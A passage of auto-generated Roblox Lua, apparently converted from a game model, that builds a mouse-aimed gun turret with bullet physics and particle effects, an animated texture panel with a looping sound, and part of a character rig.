= nil mouse.Icon=oldIcon script:remove() end local rn = game:GetService("RunService").RenderStepped md = false function no() md = false gun.gun.Seat.Script.mu:InvokeServer(mouse.hit.p) end function mousedown() md = true gun.gun.Seat.Script.md:InvokeServer(mouse.hit.p) repeat rs:wait() gun.gun.Seat.Script.infostream:InvokeServer(mouse.hit.p) until md == false end oldIcon = mouse.Icon mouse.Icon="http://www.roblox.com/asset/?id=138865017" person = game.Players.LocalPlayer.Character person.Humanoid.Jumping:connect(poo) mouse.Button1Down:connect(mousedown) -- Run function mouse.Button1Up:connect(no) spawn(function() -- this is for the server while true do gun.gun.Seat.Script.aim:InvokeServer(mouse.Hit.p) wait(0.1) end end) while rs:Wait() do aimpos = mouse.Hit.p if (aimpos-gun.base.Position).magnitude>3 then local c = aimpos local x = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).x local y = (SPAWN*CFrame.new(0, 0, -100000)).y local z = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).z A = Vector3.new(x, y, z ) if c then gun.gun:SetPrimaryPartCFrame( CFrame.new(gun.body:GetPrimaryPartCFrame().p, c) ) gun.body:SetPrimaryPartCFrame( CFrame.new( SPAWN.p, A ) ) else gun:SetPrimaryPartCFrame(gun.body:GetPrimaryPartCFrame()) gun.body:SetPrimaryPartCFrame( CFrame.new( SPAWN.p, A ) ) end end end end)) LocalScript1101.Disabled = true ObjectValue1102.Parent = LocalScript1101 Script1103.Name = "bullet" Script1103.Parent = LocalScript1101 table.insert(cors,sandbox(Script1103,function() touched = false local ignore = {} function hit(hit) if hit.Name == "debrispart" or hit.Name == "Bullet" then return end if touched == false then touched = true local ray = Ray.new(script.Value.Value.Position, (script.Parent.Position - script.Value.Value.Position).unit * 500) local boi=game.Workspace:GetChildren() for i = 1,#boi do if boi[i].Name == "Bullet" then table.insert(ignore,boi[i]) end end local parto, positiono = workspace:FindPartOnRayWithIgnoreList(ray,ignore, false, true) local part = hit if part.Anchored == false then game:GetService("Debris"):AddItem(script.Parent,0.1)--penetration end end end script.Parent.Touched:connect(hit) end)) Script1103.Disabled = true ObjectValue1104.Parent = Script1103 ParticleEmitter1105.Name = "debris" ParticleEmitter1105.Parent = Script1103 ParticleEmitter1105.Speed = NumberRange.new(0, 120) ParticleEmitter1105.Rotation = NumberRange.new(-180, 180) ParticleEmitter1105.Enabled = false ParticleEmitter1105.LightInfluence = 1 ParticleEmitter1105.Texture = "rbxassetid://241685484" ParticleEmitter1105.Transparency = NumberSequence.new(0,0,1) ParticleEmitter1105.Size = NumberSequence.new(0.34999999403954,0.34999999403954) ParticleEmitter1105.Acceleration = Vector3.new(0, -320, 0) ParticleEmitter1105.Lifetime = NumberRange.new(0.20000000298023, 1) ParticleEmitter1105.Rate = 100 ParticleEmitter1105.RotSpeed = NumberRange.new(-660, 660) ParticleEmitter1105.SpreadAngle = Vector2.new(15, 15) ParticleEmitter1105.VelocitySpread = 15 ParticleEmitter1106.Name = "blood" ParticleEmitter1106.Parent = Script1103 ParticleEmitter1106.Speed = NumberRange.new(0, 20) ParticleEmitter1106.Rotation = NumberRange.new(-180, 180) ParticleEmitter1106.Color = ColorSequence.new(Color3.new(1, 0, 0),Color3.new(1, 0, 0)) ParticleEmitter1106.Enabled = false ParticleEmitter1106.LightInfluence = 1 ParticleEmitter1106.Texture = "rbxassetid://241685484" ParticleEmitter1106.Transparency = NumberSequence.new(0,0,1) ParticleEmitter1106.Size = NumberSequence.new(0.30000001192093,0.30000001192093) ParticleEmitter1106.Acceleration = Vector3.new(0, -16, 0) ParticleEmitter1106.Lifetime = NumberRange.new(0.20000000298023, 1) ParticleEmitter1106.Rate = 100 ParticleEmitter1106.RotSpeed = NumberRange.new(-660, 660) ParticleEmitter1106.SpreadAngle = Vector2.new(360, 360) ParticleEmitter1106.VelocitySpread = 360 RemoteFunction1107.Name = "aim" RemoteFunction1107.Parent = Script1100 RemoteFunction1108.Name = "md" RemoteFunction1108.Parent = Script1100 ObjectValue1109.Parent = Script1100 ObjectValue1109.Value = Model1036 Script1110.Name = "bullet" Script1110.Parent = Script1100 table.insert(cors,sandbox(Script1110,function() touched = false local ignore = {} function hit(hit) if hit.Name == "debrispart" or hit.Name == "Bullet" then return end if touched == false then touched = true local ray = Ray.new(script.Value.Value.Position, (script.Parent.Position - script.Value.Value.Position).unit * 500) local boi=game.Workspace:GetChildren() for i = 1,#boi do if boi[i].Name == "Bullet" then table.insert(ignore,boi[i]) end end local parto, positiono = workspace:FindPartOnRayWithIgnoreList(ray,ignore, false, true) local part = hit if part.Anchored == false then part:BreakJoints() local a = part.Position local b = script.Value.Value.Position local dir = (a - b).unit part.Velocity = part.Velocity + dir * math.random(20,30) + Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) ------- extreme math equations local v = 30 local c = 50 local m = part:GetMass() if m< 20 then m = 20 end part.RotVelocity =Vector3.new(math.random(-v,v)/(m/c),math.random(-v,v)/(m/c),math.random(-v,v)/(m/c)) game:GetService("Debris"):AddItem(script.Parent,0.1)--penetration end local a = part.Parent:findFirstChild("Humanoid") local b = part.Parent.Parent:findFirstChild("Humanoid") local debrispart = Instance.new("Part") debrispart.Name="debrispart" debrispart.Size = Vector3.new(0.05,0.05,0.05) debrispart.BrickColor = part.BrickColor debrispart.Anchored=true debrispart.CanCollide = false debrispart.Transparency=1 debrispart.Position=positiono debrispart.Parent=game.Workspace if a == nil and b == nil then local thingy = script.debris:Clone() thingy.Color=ColorSequence.new(part.Color,part.Color) thingy.Parent=debrispart spawn(function() thingy:Emit(10) end) end if a ~= nil or b ~= nil then local thingy = script.blood:Clone() thingy.Parent=debrispart spawn(function() thingy:Emit(10) end) end game:GetService("Debris"):AddItem(debrispart,1) game:GetService("Debris"):AddItem(script.Parent,0.05) --[[if position ~= nil then end]]-- end end script.Parent.Touched:connect(hit) end)) Script1110.Disabled = true ObjectValue1111.Parent = Script1110 ParticleEmitter1112.Name = "debris" ParticleEmitter1112.Parent = Script1110 ParticleEmitter1112.Speed = NumberRange.new(0, 120) ParticleEmitter1112.Rotation = NumberRange.new(-180, 180) ParticleEmitter1112.Enabled = false ParticleEmitter1112.LightInfluence = 1 ParticleEmitter1112.Texture = "rbxassetid://241685484" ParticleEmitter1112.Transparency = NumberSequence.new(0,0,1) ParticleEmitter1112.Size = NumberSequence.new(0.34999999403954,0.34999999403954) ParticleEmitter1112.Acceleration = Vector3.new(0, -320, 0) ParticleEmitter1112.Lifetime = NumberRange.new(0.20000000298023, 1) ParticleEmitter1112.Rate = 100 ParticleEmitter1112.RotSpeed = NumberRange.new(-660, 660) ParticleEmitter1112.SpreadAngle = Vector2.new(15, 15) ParticleEmitter1112.VelocitySpread = 15 ParticleEmitter1113.Name = "blood" ParticleEmitter1113.Parent = Script1110 ParticleEmitter1113.Speed = NumberRange.new(0, 20) ParticleEmitter1113.Rotation = NumberRange.new(-180, 180) ParticleEmitter1113.Color = ColorSequence.new(Color3.new(1, 0, 0),Color3.new(1, 0, 0)) ParticleEmitter1113.Enabled = false ParticleEmitter1113.LightInfluence = 1 ParticleEmitter1113.Texture = "rbxassetid://241685484" ParticleEmitter1113.Transparency = NumberSequence.new(0,0,1) ParticleEmitter1113.Size = NumberSequence.new(0.30000001192093,0.30000001192093) ParticleEmitter1113.Acceleration = Vector3.new(0, -16, 0) ParticleEmitter1113.Lifetime = NumberRange.new(0.20000000298023, 1) ParticleEmitter1113.Rate = 100 ParticleEmitter1113.RotSpeed = NumberRange.new(-660, 660) ParticleEmitter1113.SpreadAngle = Vector2.new(360, 360) ParticleEmitter1113.VelocitySpread = 360 RemoteFunction1114.Name = "infostream" RemoteFunction1114.Parent = Script1100 RemoteEvent1115.Name = "bulletpropaganda" RemoteEvent1115.Parent = Script1100 RemoteFunction1116.Name = "mu" RemoteFunction1116.Parent = Script1100 WedgePart1117.Parent = Model1037 WedgePart1117.CFrame = CFrame.new(218.999985, 5.59998322, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) WedgePart1117.Orientation = Vector3.new(0, 90, 0) WedgePart1117.Position = Vector3.new(218.999985, 5.59998322, -75.5000153) WedgePart1117.Rotation = Vector3.new(0, 90, 0) WedgePart1117.Color = Color3.new(0.580392, 0.580392, 0.580392) WedgePart1117.Size = Vector3.new(2.5999999, 0.400000036, 1.19999981) WedgePart1117.Anchored = true WedgePart1117.BrickColor = BrickColor.new("Sand violet metallic") WedgePart1117.CanCollide = false WedgePart1117.Material = Enum.Material.Metal WedgePart1117.brickColor = BrickColor.new("Sand violet metallic") UnionOperation1118.Parent = Model1037 UnionOperation1118.CFrame = CFrame.new(222.300018, 6.39998388, -76.5000305, -1, 0, 0, 0, 1, 0, 0, 0, -1) UnionOperation1118.Orientation = Vector3.new(0, 180, 0) UnionOperation1118.Position = Vector3.new(222.300018, 6.39998388, -76.5000305) UnionOperation1118.Rotation = Vector3.new(-180, 0, -180) UnionOperation1118.Color = Color3.new(0.580392, 0.580392, 0.580392) UnionOperation1118.Size = Vector3.new(1.80000186, 1.80000043, 1.80000019) UnionOperation1118.Anchored = true UnionOperation1118.BrickColor = BrickColor.new("Sand violet metallic") UnionOperation1118.CanCollide = false UnionOperation1118.Material = Enum.Material.Metal UnionOperation1118.brickColor = BrickColor.new("Sand violet metallic") UnionOperation1118.UsePartColor = true WedgePart1119.Parent = Model1037 WedgePart1119.CFrame = CFrame.new(218.999985, 4.19998789, -75.5000153, 0, 0, 1, 0, -1, 0, 1, 0, -0) WedgePart1119.Orientation = Vector3.new(0, 90, 180) WedgePart1119.Position = Vector3.new(218.999985, 4.19998789, -75.5000153) WedgePart1119.Rotation = Vector3.new(180, 90, 0) WedgePart1119.Color = Color3.new(0.580392, 0.580392, 0.580392) WedgePart1119.Size = Vector3.new(2.5999999, 0.400000036, 1.19999981) WedgePart1119.Anchored = true WedgePart1119.BrickColor = BrickColor.new("Sand violet metallic") WedgePart1119.CanCollide = false WedgePart1119.Material = Enum.Material.Metal WedgePart1119.brickColor = BrickColor.new("Sand violet metallic") UnionOperation1120.Name = "Barrel2" UnionOperation1120.Parent = Model1037 UnionOperation1120.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0.342011005, 0, 0.939696014, 0.939696014, 0, -0.342011005) UnionOperation1120.Orientation = Vector3.new(-70, 180, 90) UnionOperation1120.Position = Vector3.new(214.399918, 4.89998722, -75.5000153) UnionOperation1120.Rotation = Vector3.new(-110, 0, -90) UnionOperation1120.Color = Color3.new(0.580392, 0.580392, 0.580392) UnionOperation1120.Transparency = 1 UnionOperation1120.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019) UnionOperation1120.Anchored = true UnionOperation1120.BrickColor = BrickColor.new("Sand violet metallic") UnionOperation1120.CanCollide = false UnionOperation1120.Material = Enum.Material.Metal UnionOperation1120.brickColor = BrickColor.new("Sand violet metallic") UnionOperation1121.Name = "Barrel3" UnionOperation1121.Parent = Model1037 UnionOperation1121.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0.642778814, 0, 0.766051829, 0.766051829, 0, -0.642778814) UnionOperation1121.Orientation = Vector3.new(-50, 180, 90) UnionOperation1121.Position = Vector3.new(214.399918, 4.89998722, -75.5000153) UnionOperation1121.Rotation = Vector3.new(-130, 0, -90) UnionOperation1121.Color = Color3.new(0.580392, 0.580392, 0.580392) UnionOperation1121.Transparency = 1 UnionOperation1121.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019) UnionOperation1121.Anchored = true UnionOperation1121.BrickColor = BrickColor.new("Sand violet metallic") UnionOperation1121.CanCollide = false UnionOperation1121.Material = Enum.Material.Metal UnionOperation1121.brickColor = BrickColor.new("Sand violet metallic") Part1122.Name = "base" Part1122.Parent = Model1036 Part1122.CFrame = CFrame.new(221.300018, 0.5, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1122.Orientation = Vector3.new(0, 90, 0) Part1122.Position = Vector3.new(221.300018, 0.5, -75.5000153) Part1122.Rotation = Vector3.new(0, 90, 0) Part1122.Size = Vector3.new(9, 1, 9) Part1122.Anchored = true Part1122.BottomSurface = Enum.SurfaceType.Smooth Part1122.Material = Enum.Material.DiamondPlate Part1122.TopSurface = Enum.SurfaceType.Smooth Weld1123.Parent = Part1122 Weld1123.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld1123.C1 = CFrame.new(221.300018, 10, -75.5000153, 0, 1, 0, 0, 0, -1, -1, 0, 0) Weld1123.Part0 = Part1122 Weld1123.Part1 = Part1007 Weld1123.part1 = Part1007 Model1124.Name = "body" Model1124.Parent = Model1036 Model1124.PrimaryPart = Part1131 Part1125.Parent = Model1124 Part1125.CFrame = CFrame.new(218.899994, 4.19998789, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1125.Orientation = Vector3.new(0, 180, 0) Part1125.Position = Vector3.new(218.899994, 4.19998789, -77.5000458) Part1125.Rotation = Vector3.new(-180, 0, -180) Part1125.Size = Vector3.new(1.79999971, 0.400000006, 1) Part1125.Anchored = true Part1125.BottomSurface = Enum.SurfaceType.Smooth Part1125.Material = Enum.Material.DiamondPlate Part1125.TopSurface = Enum.SurfaceType.Smooth Part1126.Parent = Model1124 Part1126.CFrame = CFrame.new(218.499985, 3.19999599, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1126.Orientation = Vector3.new(0, 180, 0) Part1126.Position = Vector3.new(218.499985, 3.19999599, -73.5) Part1126.Rotation = Vector3.new(-180, 0, -180) Part1126.Size = Vector3.new(1.00000012, 1.60000002, 1) Part1126.Anchored = true Part1126.BottomSurface = Enum.SurfaceType.Smooth Part1126.Material = Enum.Material.DiamondPlate Part1126.TopSurface = Enum.SurfaceType.Smooth Part1127.Parent = Model1124 Part1127.CFrame = CFrame.new(218.499985, 3.19999599, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1127.Orientation = Vector3.new(0, 180, 0) Part1127.Position = Vector3.new(218.499985, 3.19999599, -77.5000458) Part1127.Rotation = Vector3.new(-180, 0, -180) Part1127.Size = Vector3.new(1.00000012, 1.60000002, 1) Part1127.Anchored = true Part1127.BottomSurface = Enum.SurfaceType.Smooth Part1127.Material = Enum.Material.DiamondPlate Part1127.TopSurface = Enum.SurfaceType.Smooth Part1128.Parent = Model1124 Part1128.CFrame = CFrame.new(222.300018, 1.80000901, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1128.Orientation = Vector3.new(0, 180, 0) Part1128.Position = Vector3.new(222.300018, 1.80000901, -75.5000153) Part1128.Rotation = Vector3.new(-180, 0, -180) Part1128.Size = Vector3.new(5, 0.400000006, 3) Part1128.Anchored = true Part1128.BottomSurface = Enum.SurfaceType.Smooth Part1128.Material = Enum.Material.DiamondPlate Part1128.TopSurface = Enum.SurfaceType.Smooth Part1129.Name = "circle" Part1129.Parent = Model1124 Part1129.CFrame = CFrame.new(221.300018, 1.29999995, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1129.Orientation = Vector3.new(0, 90, 0) Part1129.Position = Vector3.new(221.300018, 1.29999995, -75.5000153) Part1129.Rotation = Vector3.new(0, 90, 0) Part1129.Size = Vector3.new(7, 0.600000024, 7) Part1129.Anchored = true Part1129.BottomSurface = Enum.SurfaceType.Smooth Part1129.Material = Enum.Material.DiamondPlate Part1129.TopSurface = Enum.SurfaceType.Smooth CylinderMesh1130.Parent = Part1129 Part1131.Name = "base" Part1131.Parent = Model1124 Part1131.CFrame = CFrame.new(221.300018, 4.0999918, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1131.Orientation = Vector3.new(0, 90, 0) Part1131.Position = Vector3.new(221.300018, 4.0999918, -75.5000153) Part1131.Rotation = Vector3.new(0, 90, 0) Part1131.Transparency = 1 Part1131.Size = Vector3.new(1.39999998, 1.80000377, 1.39999998) Part1131.Anchored = true Part1131.BottomSurface = Enum.SurfaceType.Weld Part1131.CanCollide = false Part1131.Material = Enum.Material.Metal Part1131.TopSurface = Enum.SurfaceType.Smooth CylinderMesh1132.Parent = Part1131 Part1133.Parent = Model1124 Part1133.CFrame = CFrame.new(219.699997, 4.19998789, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1133.Orientation = Vector3.new(0, 180, 0) Part1133.Position = Vector3.new(219.699997, 4.19998789, -73.5) Part1133.Rotation = Vector3.new(-180, 0, -180) Part1133.Size = Vector3.new(3.39999962, 0.400000006, 1) Part1133.Anchored = true Part1133.BottomSurface = Enum.SurfaceType.Smooth Part1133.Material = Enum.Material.DiamondPlate Part1133.TopSurface = Enum.SurfaceType.Smooth Part1134.Parent = Model1124 Part1134.CFrame = CFrame.new(220.900024, 3.19999194, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1134.Orientation = Vector3.new(0, 180, 0) Part1134.Position = Vector3.new(220.900024, 3.19999194, -73.5) Part1134.Rotation = Vector3.new(-180, 0, -180) Part1134.Size = Vector3.new(1, 1.60000002, 1) Part1134.Anchored = true Part1134.BottomSurface = Enum.SurfaceType.Smooth Part1134.Material = Enum.Material.DiamondPlate Part1134.TopSurface = Enum.SurfaceType.Smooth Part1135.Parent = Model1124 Part1135.CFrame = CFrame.new(223.300049, 3.19999194, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1135.Orientation = Vector3.new(0, 180, 0) Part1135.Position = Vector3.new(223.300049, 3.19999194, -77.5000458) Part1135.Rotation = Vector3.new(-180, 0, -180) Part1135.Size = Vector3.new(1.00000012, 1.60000002, 1) Part1135.Anchored = true Part1135.BottomSurface = Enum.SurfaceType.Smooth Part1135.Material = Enum.Material.DiamondPlate Part1135.TopSurface = Enum.SurfaceType.Smooth Part1136.Parent = Model1124 Part1136.CFrame = CFrame.new(222.90004, 4.19998789, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1136.Orientation = Vector3.new(0, 180, 0) Part1136.Position = Vector3.new(222.90004, 4.19998789, -77.5000458) Part1136.Rotation = Vector3.new(-180, 0, -180) Part1136.Size = Vector3.new(1.79999971, 0.400000006, 1) Part1136.Anchored = true Part1136.BottomSurface = Enum.SurfaceType.Smooth Part1136.Material = Enum.Material.DiamondPlate Part1136.TopSurface = Enum.SurfaceType.Smooth Part1137.Parent = Model1124 Part1137.CFrame = CFrame.new(220.900009, 2.19999194, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1137.Orientation = Vector3.new(0, 180, 0) Part1137.Position = Vector3.new(220.900009, 2.19999194, -73.5) Part1137.Rotation = Vector3.new(-180, 0, -180) Part1137.Size = Vector3.new(5.80000067, 0.400000006, 1) Part1137.Anchored = true Part1137.BottomSurface = Enum.SurfaceType.Smooth Part1137.Material = Enum.Material.DiamondPlate Part1137.TopSurface = Enum.SurfaceType.Smooth Part1138.Parent = Model1124 Part1138.CFrame = CFrame.new(218.899979, 1.79999495, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1138.Orientation = Vector3.new(0, 180, 0) Part1138.Position = Vector3.new(218.899979, 1.79999495, -75.5000153) Part1138.Rotation = Vector3.new(-180, 0, -180) Part1138.Size = Vector3.new(1.80000091, 0.400000006, 7) Part1138.Anchored = true Part1138.BottomSurface = Enum.SurfaceType.Smooth Part1138.Material = Enum.Material.DiamondPlate Part1138.TopSurface = Enum.SurfaceType.Smooth Part1139.Parent = Model1124 Part1139.CFrame = CFrame.new(220.900009, 2.19999194, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1139.Orientation = Vector3.new(0, 180, 0) Part1139.Position = Vector3.new(220.900009, 2.19999194, -77.5000458) Part1139.Rotation = Vector3.new(-180, 0, -180) Part1139.Size = Vector3.new(5.80000067, 0.400000006, 1) Part1139.Anchored = true Part1139.BottomSurface = Enum.SurfaceType.Smooth Part1139.Material = Enum.Material.DiamondPlate Part1139.TopSurface = Enum.SurfaceType.Smooth Part1140.Parent = Model1124 Part1140.CFrame = CFrame.new(217.800003, 4.59998417, -78.2000122, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1140.Position = Vector3.new(217.800003, 4.59998417, -78.2000122) Part1140.Size = Vector3.new(0.399999261, 5.79999876, 2.40000081) Part1140.Anchored = true Part1140.BottomSurface = Enum.SurfaceType.Smooth Part1140.Material = Enum.Material.Metal Part1140.TopSurface = Enum.SurfaceType.Smooth Part1141.Parent = Model1124 Part1141.CFrame = CFrame.new(217.799988, 4.59998417, -72.8000031, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1141.Orientation = Vector3.new(0, 180, 0) Part1141.Position = Vector3.new(217.799988, 4.59998417, -72.8000031) Part1141.Rotation = Vector3.new(-180, 0, -180) Part1141.Size = Vector3.new(0.399999261, 5.79999876, 2.40000081) Part1141.Anchored = true Part1141.BottomSurface = Enum.SurfaceType.Smooth Part1141.Material = Enum.Material.Metal Part1141.TopSurface = Enum.SurfaceType.Smooth Model1142.Name = "model stealer got distracted" Model1142.Parent = Model319 Part1143.Name = "henry" Part1143.Parent = Model1142 Part1143.CFrame = CFrame.new(251.949997, 43, -174.042999, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1143.Orientation = Vector3.new(0, 90, 0) Part1143.Position = Vector3.new(251.949997, 43, -174.042999) Part1143.Rotation = Vector3.new(0, 90, 0) Part1143.Transparency = 0.99000000953674 Part1143.Size = Vector3.new(161.914001, 88, 0.100000001) Part1143.Anchored = true Part1143.CanCollide = false Texture1144.Name = "Gif" Texture1144.Parent = Part1143 Texture1144.Texture = "http://www.roblox.com/asset/?id=5606290866" Texture1144.StudsPerTileU = 39.312000274658 Texture1144.StudsPerTileV = 48 Script1145.Parent = Texture1144 table.insert(cors,sandbox(Script1145,function() coroutine.resume(coroutine.create(function() local Frames = 44 local currentFrame= 1 local rows = 6 local columns = 8 local currentRow,CurrentColumn = 0,0 local linear = false local fps = 30 -- Max 30 local full60fps = false local size = script.Parent.Parent.Size script.Parent.StudsPerTileU = columns*size.X script.Parent.StudsPerTileV = rows*size.Y while true do if not full60fps then wait(1/fps) else game:GetService("RunService").Stepped:Wait() end if linear then script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + size.X if script.Parent.OffsetStudsU > script.Parent.StudsPerTileU then script.Parent.OffsetStudsU = 0 end else CurrentColumn = CurrentColumn + 1 if CurrentColumn > columns then CurrentColumn = 1 currentRow = currentRow + 1 end if currentFrame > Frames then script.Parent.Parent.Sound.TimePosition = 0 currentRow,CurrentColumn,currentFrame = 1,1,1 end script.Parent.OffsetStudsU = size.X*(CurrentColumn-1) script.Parent.OffsetStudsV = size.Y*(currentRow-1) currentFrame = currentFrame+1 end end end)) end)) Texture1146.Name = "Gif" Texture1146.Parent = Part1143 Texture1146.Texture = "http://www.roblox.com/asset/?id=5606290866" Texture1146.Face = Enum.NormalId.Back Texture1146.StudsPerTileU = 39.312000274658 Texture1146.StudsPerTileV = 48 Script1147.Parent = Texture1146 table.insert(cors,sandbox(Script1147,function() coroutine.resume(coroutine.create(function() local Frames = 44 local currentFrame= 1 local rows = 6 local columns = 8 local currentRow,CurrentColumn = 0,0 local linear = false local fps = 30 -- Max 30 local full60fps = false local size = script.Parent.Parent.Size script.Parent.StudsPerTileU = columns*size.X script.Parent.StudsPerTileV = rows*size.Y while true do if not full60fps then wait(1/fps) else game:GetService("RunService").Stepped:Wait() end if linear then script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + size.X if script.Parent.OffsetStudsU > script.Parent.StudsPerTileU then script.Parent.OffsetStudsU = 0 end else CurrentColumn = CurrentColumn + 1 if CurrentColumn > columns then CurrentColumn = 1 currentRow = currentRow + 1 end if currentFrame > Frames then script.Parent.Parent.Sound.TimePosition = 0 currentRow,CurrentColumn,currentFrame = 1,1,1 end script.Parent.OffsetStudsU = size.X*(CurrentColumn-1) script.Parent.OffsetStudsV = size.Y*(currentRow-1) currentFrame = currentFrame+1 end end end)) end)) Sound1148.Parent = Part1143 Sound1148.Looped = true Sound1148.EmitterSize = 1000 Sound1148.MinDistance = 1000 Sound1148.Playing = true Sound1148.SoundId = "rbxassetid://5549004857" Sound1148.Volume = 10 Weld1149.Parent = Part1143 Weld1149.C0 = CFrame.new(0, 0, 0.0500030518, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld1149.C1 = CFrame.new(-2, -0.5, 0.457000732, 0, 0, 1, 0, 1, -0, -1, 0, 0) Weld1149.Part0 = Part1143 Weld1149.Part1 = Part1027 Weld1149.part1 = Part1027 Model1150.Name = "bananabacon98" Model1150.Parent = Model319 Model1150.PrimaryPart = Part1151 Part1151.Name = "HumanoidRootPart" Part1151.Parent = Model1150 Part1151.CFrame = CFrame.new(225.5, 3.00000048, -110, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1151.Orientation = Vector3.new(0, 90, 0) Part1151.Position = Vector3.new(225.5, 3.00000048, -110) Part1151.Rotation = Vector3.new(0, 90, 0) Part1151.Transparency = 1 Part1151.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) Part1151.Size = Vector3.new(2, 2, 1) Part1151.Anchored = true Vector3Value1152.Name = "OriginalPosition" Vector3Value1152.Parent = mas Vector3Value1152.Value = Vector3.new(-0, -0.649999976, -0) Vector3Value1153.Name = "OriginalSize" Vector3Value1153.Parent = Part1151 Vector3Value1153.Value = Vector3.new(2, 2, 1) MeshPart1154.Name = "LeftHand" MeshPart1154.Parent = Model1150 MeshPart1154.CFrame = CFrame.new(227.804855, 2.1499989, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1154.Orientation = Vector3.new(0, 90, 0) MeshPart1154.Position = Vector3.new(227.804855, 2.1499989, -109.119537) MeshPart1154.Rotation = Vector3.new(0, 90, 0) MeshPart1154.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1154.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1154.Size = Vector3.new(0.999999762, 0.299999982, 0.999999881) MeshPart1154.Anchored = true MeshPart1154.BrickColor = BrickColor.new("Cool yellow") MeshPart1154.CanCollide = false MeshPart1154.brickColor = BrickColor.new("Cool yellow") Motor6D1155.Name = "LeftWrist" Motor6D1155.Parent = MeshPart1154 Motor6D1155.C0 = CFrame.new(0.000478506088, -0.549999952, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1155.C1 = CFrame.new(0.000478863716, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1155.Part0 = MeshPart1156 Motor6D1155.Part1 = MeshPart1154 Motor6D1155.part1 = MeshPart1154 MeshPart1156.Name = "LeftLowerArm" MeshPart1156.Parent = Model1150 MeshPart1156.CFrame = CFrame.new(227.804855, 2.8499999, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1156.Orientation = Vector3.new(0, 90, 0) MeshPart1156.Position = Vector3.new(227.804855, 2.8499999, -109.119537) MeshPart1156.Rotation = Vector3.new(0, 90, 0) MeshPart1156.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1156.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1156.Size = Vector3.new(0.999999762, 1.20000029, 1) MeshPart1156.Anchored = true MeshPart1156.BrickColor = BrickColor.new("Cool yellow") MeshPart1156.CanCollide = false MeshPart1156.brickColor = BrickColor.new("Cool yellow") Motor6D1157.Name = "LeftElbow" Motor6D1157.Parent = MeshPart1156 Motor6D1157.C0 = CFrame.new(0.000479102135, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1157.C1 = CFrame.new(0.000478506088, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1157.Part0 = MeshPart1158 Motor6D1157.Part1 = MeshPart1156 Motor6D1157.part1 = MeshPart1156 MeshPart1158.Name = "LeftUpperArm" MeshPart1158.Parent = Model1150 MeshPart1158.CFrame = CFrame.new(227.804855, 3.29999995, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1158.Orientation = Vector3.new(0, 90, 0) MeshPart1158.Position = Vector3.new(227.804855, 3.29999995, -109.119537) MeshPart1158.Rotation = Vector3.new(0, 90, 0) MeshPart1158.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1158.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1158.Size = Vector3.new(0.999999762, 1.40000033, 0.99999994) MeshPart1158.Anchored = true MeshPart1158.BrickColor = BrickColor.new("Cool yellow") MeshPart1158.CanCollide = false MeshPart1158.brickColor = BrickColor.new("Cool yellow") Motor6D1159.Name = "LeftShoulder" Motor6D1159.Parent = MeshPart1158 Motor6D1159.C0 = CFrame.new(-1.24989128, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1159.C1 = CFrame.new(0.250109196, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1159.Part0 = MeshPart1166 Motor6D1159.Part1 = MeshPart1158 Motor6D1159.part1 = MeshPart1158 MeshPart1160.Name = "RightHand" MeshPart1160.Parent = Model1150 MeshPart1160.CFrame = CFrame.new(227.804855, 2.1499989, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1160.Orientation = Vector3.new(0, 90, 0) MeshPart1160.Position = Vector3.new(227.804855, 2.1499989, -112.119537) MeshPart1160.Rotation = Vector3.new(0, 90, 0) MeshPart1160.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1160.Velocity = 